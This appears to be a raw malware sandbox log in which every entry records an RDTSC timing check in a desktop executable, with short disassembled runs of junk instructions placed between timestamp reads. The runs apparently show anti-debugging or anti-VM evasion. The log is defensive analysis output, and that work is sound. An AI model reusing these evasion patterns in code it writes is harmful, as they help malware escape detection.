Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9C9F07 second address: 9C9F22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F97B4F2EDD7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9A075A second address: 9A075E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9C7BE1 second address: 9C7BE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9C7E76 second address: 9C7EA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jo 00007F97B4EC49CFh 0x0000000d jne 00007F97B4EC49B6h 0x00000013 jmp 00007F97B4EC49C3h 0x00000018 pop edi 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c pushad 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9C7EA4 second address: 9C7EA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9C7EA9 second address: 9C7EB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9C7EB1 second address: 9C7EB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9C801A second address: 9C8020 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9C8020 second address: 9C803E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4F2EDD4h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9C81A8 second address: 9C81BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F97B4EC49B6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d js 00007F97B4EC49B6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9C81BB second address: 9C820D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 jo 00007F97B4F2EE13h 0x0000000d jns 00007F97B4F2EDEBh 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 jmp 00007F97B4F2EDD6h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9C864B second address: 9C8657 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F97B4EC49B6h 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9C8657 second address: 9C8660 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9C8940 second address: 9C8946 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9C8946 second address: 9C8979 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 push esi 0x00000006 pop esi 0x00000007 jnl 00007F97B4F2EDC6h 0x0000000d pop edi 0x0000000e jmp 00007F97B4F2EDD8h 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 jne 00007F97B4F2EDC6h 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9C8979 second address: 9C898E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4EC49C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9C898E second address: 9C8996 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9C8996 second address: 9C899A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9C8B00 second address: 9C8B04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9C8B04 second address: 9C8B08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9C8B08 second address: 9C8B0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9C8B0E second address: 9C8B1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9C8B1A second address: 9C8B1E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9C8B1E second address: 9C8B35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F97B4EC49B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f ja 00007F97B4EC49B8h 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9C8B35 second address: 9C8B3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9C8B3B second address: 9C8B3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9C9567 second address: 9C956D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9C99D0 second address: 9C99EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F97B4EC49C8h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9C99EE second address: 9C99FC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 jbe 00007F97B4F2EDC6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9C99FC second address: 9C9A23 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F97B4EC49B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F97B4EC49C7h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9C9A23 second address: 9C9A42 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4F2EDD9h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9C9A42 second address: 9C9A5A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F97B4EC49C3h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9C9D79 second address: 9C9D7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9C9D7D second address: 9C9D8D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4EC49BAh 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9CE430 second address: 9CE434 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9CE434 second address: 9CE47B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pushad 0x0000000a jno 00007F97B4EC49D1h 0x00000010 jmp 00007F97B4EC49C8h 0x00000015 push eax 0x00000016 push edx 0x00000017 push esi 0x00000018 pop esi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 996267 second address: 99626B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9CF26F second address: 9CF27B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9CF27B second address: 9CF28A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 jp 00007F97B4F2EDCCh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9D0B76 second address: 9D0B96 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F97B4EC49B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F97B4EC49C2h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9D0B96 second address: 9D0B9B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9D3FCD second address: 9D3FD7 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F97B4EC49B6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9D3FD7 second address: 9D3FDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9D3FDD second address: 9D3FFA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 jmp 00007F97B4EC49C4h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9D41A7 second address: 9D41CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jno 00007F97B4F2EDC6h 0x0000000d jmp 00007F97B4F2EDD5h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9D4307 second address: 9D431E instructions: 0x00000000 rdtsc 0x00000002 jns 00007F97B4EC49B6h 0x00000008 jbe 00007F97B4EC49B6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop edi 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9D431E second address: 9D432A instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F97B4F2EDC6h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9D432A second address: 9D4330 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9D49D0 second address: 9D49D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9D49D7 second address: 9D49DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9D6B93 second address: 9D6B99 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9D6C3D second address: 9D6C7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F97B4EC49C4h 0x00000009 popad 0x0000000a jc 00007F97B4EC49BCh 0x00000010 ja 00007F97B4EC49B6h 0x00000016 popad 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b jmp 00007F97B4EC49C3h 0x00000020 pop eax 0x00000021 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9D6D47 second address: 9D6D4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9D6D4B second address: 9D6D50 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9D6F1B second address: 9D6F31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F97B4F2EDC6h 0x0000000a popad 0x0000000b push eax 0x0000000c jns 00007F97B4F2EDE1h 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9D6F31 second address: 9D6F35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9D7508 second address: 9D750C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9D750C second address: 9D7524 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F97B4EC49C4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9D75CB second address: 9D75E1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F97B4F2EDCAh 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9D75E1 second address: 9D75E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9D7DF7 second address: 9D7E26 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F97B4F2EDC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jp 00007F97B4F2EDCCh 0x00000010 popad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 jmp 00007F97B4F2EDD1h 0x0000001a pushad 0x0000001b popad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9DA225 second address: 9DA27B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007F97B4EC49B8h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 0000001Bh 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 adc di, ED21h 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push ebx 0x0000002e and edi, 364CD7DDh 0x00000034 pop esi 0x00000035 push eax 0x00000036 pushad 0x00000037 jo 00007F97B4EC49C3h 0x0000003d jmp 00007F97B4EC49BDh 0x00000042 pushad 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9D9FBF second address: 9D9FC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9DA9B3 second address: 9DA9B9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9DA9B9 second address: 9DA9C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F97B4F2EDC6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9DB729 second address: 9DB72D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9DD202 second address: 9DD20C instructions: 0x00000000 rdtsc 0x00000002 jl 00007F97B4F2EDC6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9DD20C second address: 9DD212 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9DD212 second address: 9DD239 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4F2EDD5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jo 00007F97B4F2EDD4h 0x0000000f jng 00007F97B4F2EDCEh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9DD8E6 second address: 9DD8FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F97B4EC49C0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9DD8FA second address: 9DD8FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9DE3D2 second address: 9DE3D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9DE3D8 second address: 9DE3E6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9DE3E6 second address: 9DE3EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9DE3EA second address: 9DE3EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9E1A82 second address: 9E1A9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007F97B4EC49C2h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9DEB60 second address: 9DEB64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9E3807 second address: 9E380B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9E380B second address: 9E3811 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9E3811 second address: 9E381B instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F97B4EC49BCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9E381B second address: 9E3826 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9E3826 second address: 9E382C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9E382C second address: 9E3844 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F97B4F2EDD1h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9E3DB1 second address: 9E3DB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9E3DB5 second address: 9E3DC7 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F97B4F2EDC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9E4D89 second address: 9E4D8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9E4D8D second address: 9E4DC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F97B4F2EDD5h 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jnc 00007F97B4F2EDDAh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9E3FDE second address: 9E3FFA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4EC49C8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9E5DAB second address: 9E5DC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F97B4F2EDD3h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9E4FF4 second address: 9E5010 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F97B4EC49C0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e push eax 0x0000000f pop eax 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\h3yRbjNWk1.exe	RDTSC instruction interceptor: First address: 9E5DC5 second address: 9E5E13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 xor ebx, 0A68190Bh 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push edi 0x00000013 call 00007F97B4F2EDC8h 0x00000018 pop edi 0x00000019 mov dword ptr [esp+04h], edi 0x0000001d add dword ptr [esp+04h], 00000018h 0x00000025 inc edi 0x00000026 push edi 0x00000027 ret 0x00000028 pop edi 0x00000029 ret 0x0000002a mov edi, dword ptr [ebp+122D295Dh] 0x00000030 mov dword ptr [ebp+122D1FDCh], edi 0x00000036 push 00000000h 0x00000038 adc ebx, 6013FA28h 0x0000003e push eax 0x0000003f pushad 0x00000040 jp 00007F97B4F2EDCCh 0x00000046 push eax 0x00000047 push edx 0x00000048 rdtsc
